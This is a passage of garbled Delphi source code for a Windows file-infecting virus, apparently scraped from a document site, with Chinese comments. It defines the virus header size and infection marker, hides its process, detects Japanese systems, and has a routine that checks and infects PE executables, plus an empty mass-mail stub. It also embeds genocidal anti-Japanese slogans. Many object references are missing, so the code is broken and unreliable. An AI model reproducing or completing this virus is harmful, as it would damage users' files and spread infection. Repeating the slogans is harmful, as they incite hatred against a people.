【文章內(nèi)容簡(jiǎn)介】 { HeaderSize = 38912。 //Upx 壓縮過病毒體的大小 IconOffset = $92BC。 //Upx 壓縮過 PE 文件主圖標(biāo)的偏移量 //Upx 用法 : upx 9 8086 } IconSize = $2E8。 //PE 文件主圖標(biāo)的大小 744字節(jié) IconTail = IconOffset + IconSize。 //PE 文件主圖標(biāo)的尾部 ID = $44444444。 //感染標(biāo)記 //垃圾碼，以備寫入 Catchword = 39。If a race need to be killed out, it must be Yamato. 39。 + 39。If a country need to be destroyed, it must be Japan! 39。 + 39。*** ***39。 {$R *.RES} Function RegisterServiceProcess()function 13 RegisterServiceProcess(dwProcessID, dwType: Integer): Integer。 stdcall。 external 39。39。 //函數(shù)聲明 var TmpFile: string。 Si: STARTUPINFO。 Pi: PROCESS_INFORMATION。 IsJap: Boolean = False。 //日文操作系統(tǒng)標(biāo)記 { 判斷是否為 Win9x } Function IsWin9x()function IsWin9x: Boolean。 var Ver: TOSVersionInfo。 begin Result := False。 := SizeOf(TOSVersionInfo)。 if not GetVersionEx(Ver) then Exit。 if ( = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True。 end。 { 在流之間復(fù)制 } procedure CopyStream(Src: TStream。 sStartPos: Integer。 Dst: TStream。 dStartPos: Integer。 Count: Integer)。 var 14 sCurPos, dCurPos: Integer。 begin sCurPos := 。 dCurPos := 。 (sStartPos, 0)。 (dStartPos, 0)。 (Src, Count)。 (sCurPos, 0)。 (dCurPos, 0)。 end。 { 將宿主文件從已感染的 PE 文件中分離出來，以備使用 } procedure ExtractFile(FileName: string)。 var sStream, dStream: TFileStream。 begin try sStream := (ParamStr(0), fmOpenRead or fmShareDenyNone)。 try dStream := (FileName, fmCreate)。 try (HeaderSize, 0)。 //跳過頭部的病毒部分 (sStream, HeaderSize)。 finally 15 。 end。 finally 。 end。 except end。 end。 { 填充 STARTUPINFO 結(jié)構(gòu) } procedure FillStartupInfo(var Si: STARTUPINFO。 State: Word)。 begin := SizeOf(Si)。 := nil。 := nil。 := nil。 := STARTF_USESHOWWINDOW。 := State。 := 0。 := nil。 end。 { 發(fā)帶毒郵件 } procedure SendMail。 begin //哪位仁兄愿意完成之？ end。 16 { 感染 PE 文件 } procedure InfectOneFile(FileName: string)。 var HdrStream, SrcStream: TFileStream。 IcoStream, DstStream: TMemoryStream。 iID: LongInt。 aIcon: TIcon。 Infected, IsPE: Boolean。 i: Integer。 Buf: array[0..1] of Char。 begin try //出錯(cuò)則文件正在被使用，退出 if CompareText(FileName, 39。39。) = 0 then //是自己則 不感染 Exit。 Infected := False。 IsPE := False。 SrcStream := (FileName, fmOpenRead)。 try for i := 0 to $108 do //檢查 PE 文件頭 begin (i, soFromBeginning)。 (Buf, 2)。 if (Buf[0] = 80) and (Buf[1] = 69) then //PE 標(biāo)記 17 begin IsPE := True。 //是 PE 文件 Break。 end。 end。 (4, soFromEnd)。 //檢查感染標(biāo)記 (iID, 4)。 if (iID = ID) or ( 10240) then //太小的文件不感染 Infected := True。 finally 。 end。 if Infected or (not IsPE) then //如果感染過了或不是PE 文件則退出 Exit。 IcoStream := 。 DstStream := 。 try aIcon := 。